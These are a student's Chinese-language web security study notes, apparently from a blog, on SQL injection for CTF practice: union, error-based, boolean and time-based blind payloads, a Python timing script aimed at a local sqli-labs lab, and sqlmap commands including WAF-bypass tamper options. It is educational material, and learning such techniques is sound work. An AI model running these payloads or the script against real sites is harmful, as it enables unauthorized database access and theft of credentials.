前言
这是我大三上学期个人学习的web安全漏洞笔记,学的不是特别的深入,也希望能够帮助学弟学妹们
SQL注入
SQL注入常见题型
CTF中SQL注入常见题型整理_ctf sql-CSDN博客
SQL注入的语法
CTF-Web【SQL注入】漏洞做题姿势积累 | Fan的小酒馆 (fanygit.github.io)
整数型注入
? union select group_concat(schema_name) from information_schema.SCHEMATA;
? union select group_concat(table_name) from information_schema.TABLES where TABLE_SCHEMA = '数据库名字';
? union select group_concat(Column_name) from information_schema.COLUMNS where TABLE_NAME = '表名字';
字符型注入
?' union select group_concat(schema_name) from information_schema.SCHEMATA;#
?' union select group_concat(table_name) from information_schema.TABLES where TABLE_SCHEMA = '数据库名字';#
?' union select group_concat(Column_name) from information_schema.COLUMNS where TABLE_NAME = '表名字';#
例题
第一步:判断是整型还是字符型注入
当输入1 ' or 1=1 # 时回显
第二步:判断注入的数据库有几列的数据
输入1' or 1=1 union select 1,2,3 #时回显
第三步,发现注入点在第二列,查询数据库
1' or 1=1 union select 1,(database()),3#
第四步,利用数据库名称查询数据库表有几个
1' or 1=1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='web2'),3 #
第五步,查询列字段
1' or 1=1 union select 1,(select group_concat(column_name) from information_schema.columns where table_name='flag'),3 #
第五步,爆破flag
1‘ or 1=1 union select 1,(select flag from flag),3#

报错注入
报错注入就是利用了数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。这里主要记录一下xpath语法错误和concat+rand()+group_by()导致主键重复
and extractvalue(1,concat(0x7e,database(),0x7e)) #先爆破数据库名字
and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)) #在爆破表名
and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag'),0x7e))
#再爆破列名
and extractvalue(1,concat(0x7e,(select flag from flag),0x7e)) #最后爆破数据
//xpathxml
1 and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0)
布尔注入
方法一(手动注入)
布尔盲注一般流程 因为盲注不能直接用database()函数得到数据库名,所以步骤如下: ①判断数据库名的长度:and length(database())>11 回显正常;and length(database())>12 回显错误,说明数据库名是等于12个字符。 ②猜测数据库名(使用ascii码来依次判断):and (ascii(substr(database(),1,1)))>100 --+ 通过不断测试,确定ascii值,查看asciii表可以得出该字符,通过改变database()后面第一个数字,可以往后继续猜测第二个、第三个字母… ③猜测表名:'and (ascii(substr((select table_name from information_schema.tables where table.schema=database() limit 1,1)1,1)>144 --+'往后继续猜测第二个、第三个字母… ④猜测字段名(列名):and (ascii(substr((select column_name from information_schema.columns where table.schema=database() and table_name=’数据库表名’ limit 0,1)1,1)>105 --+ 经过猜测 ascii为 105 为i 也就是表的第一个列名 id的第一个字母;同样,通过修改 limit 0,1 获取第二个列名 修改后面1,1的获取当前列的其他字段. ⑤猜测字段内容:因为知道了列名,所以直接 select password from users 就可以获取password里面的内容,username也一样 and (ascii(substr(( select password from users limit 0,1),1,1)))=68--+
方法二:盲注
打开Burp Suite -> intercept is on 开始拦截站点 ->add intruder->添加爆破点->选择numbers进行爆破攻击
时间盲注
时间育注是什么 通过注入特定语句,根据对页面请求的物理反馈,来判断是否注入成功,如: 在SQL语句中使用sleep 函数看加载网页的时间来判断注入点。 适用场景: 没有回显,甚至连注入语句是否执行都无从得知
原理分析:
-- 有如下语句
select * from products where category = '?' and sleep(3) -- ';
-- 如果用户输入的是
-- Gifts' sleep(2) --';
-- 那么原始语句就是
select * from products where category = 'Gifts' and sleep(2) -- ';
-- 当category = 'Gifts' 有值的话,休眠两秒
-- 当category = 'Gifts' 没有值的话,直接返回
常用函数
sleep(n) -- 返0 命令中断返回1
substr(a,b,c) -- 从b为止开始截取字符串a的c长度 mid()用法相似
count() -- 计算总数
ascii() -- 返回字符的ASCII码 ord()用法类似
length() -- 返同字符中的长度
时间盲注python脚本(示例)
import requests
import time
headers = {'User-Agent':'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36'}
chars = 'abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.'
database = ''
global length
for l in range(1,20):
Url = 'http://192.168.10.128/sqli-labs-master/Less-6/?id=1" and if(length(database())>{0},1,sleep(3))--+'
UrlFormat = Url.format(l) #format()函数使用
start_time0 = time.time() #发送请求前的时间赋值
requests.get(UrlFormat,headers=headers)
if time.time() - start_time0 > 2: #判断正确的数据库长度
print('database length is ' + str(l))
global length
length = l #把数据库长度赋值给全局变量
break
else:
pass
for i in range(1,length+1):
for char in chars:
charAscii = ord(char) #char转换为ascii
url = 'http://192.168.10.128/sqli-labs-master/Less-6/?id=1" and if(ascii(substr(database(),{0},1))>{1},1,sleep(3))--+'
urlformat = url.format(i,charAscii)
start_time = time.time()
requests.get(urlformat,headers=headers)
if time.time() - start_time > 2:
database+=char
print('database: ',database)
break
else:
pass
print('database is ' + database)

SQLMAP
sqlmap是一款基于python编写的渗透测试工具,在sql检测和利用方面功能强大,支持多种数据库。
Sqlmap常用命令总结及注入实战(Access、mysql)sqlmap命令OKAY_TC的博客-CSDN博客
常用命令
1. sqlmap -u "http://www.xx.com?id=x" 【查询是否存在注入点】
2. --dbs 【检测站点包含哪些数据库】
3. --current-db 【获取当前的数据库名】
4. --tables -D "db_name" 【获取指定数据库中的表名 -D后接指定的数据库名称】
5. --columns -T "table_name" -D "db_name" 【获取数据库表中的字段
6. --dump -C "columns_name" -T "table_name" -D "db_name" 【获取字段的数据内容】
cookie注入
sqlmap -u "http://www.xx.com?id=x" --cookie "cookie" --level 2 【cookie注入 后接cookie值】
post注入
(1)目标地址http:// www.xxx.com /login.asp
(2)打开brup代理。
(3)点击表单提交
(4)burp获取拦截信息(post)
(5)右键保存文件(.txt)到指定目录下
(6)运行sqlmap并执行如下命令:
用例:sqlmap -r okay.txt -p username
// -r表示加载文件(及步骤(5)保存的路径),-p指定参数(即拦截的post请求中表单提交的用户名或密码等name参数)
(7)自动获取表单:--forms自动获取表单
例如:sqlmap -u www.xx.com/login.asp --forms
(8)指定参数搜索:--data
常用指令
1. --purge 【重新扫描(--purge 删除原先对该目标扫描的记录)
2. --tables 【获取表名
3. --dbs 【检测站点包含哪些数据库
4. --current-db 【获取当前的数据库名
5. --current-user 【检测当前用户
b
6. --is-dba 【判断站点的当前用户是否为数据库管理员
7. --batch 【默认确认,不询问你是否输入
8. --search 【后面跟参数 -D -T -C 搜索列(C),表(T)和或数据库名称(D)
9. --threads 10 【线程,sqlmap线程最高设置为10
10. --level 3 【sqlmap默认测试所有的GET和POST参数,当--level的值大于等于2的时候也会测试HTTP Cookie头
的值,当大于等于3的时候也会测试User-Agent和HTTP Referer头的值。最高为5
11. --risk 3 【执行测试的风险(0-3,默认为1)risk越高,越慢但是越安全
12. -v 【详细的等级(0-6)
0:只显示Python的回溯,错误和关键消息。
1:显示信息和警告消息。
2:显示调试消息。
3:有效载荷注入。
4:显示HTTP请求。
5:显示HTTP响应头。
6:显示HTTP响应页面的内容
13. --privileges 【查看权限
14. --tamper xx.py,cc.py 【防火墙绕过,后接tamper库中的py文件
15. --method "POST" --data "page=1&id=2" 【POST方式提交数据
16. --threads number 【采用多线程 后接线程数
17. --referer ""


1万+

被折叠的 条评论
为什么被折叠?



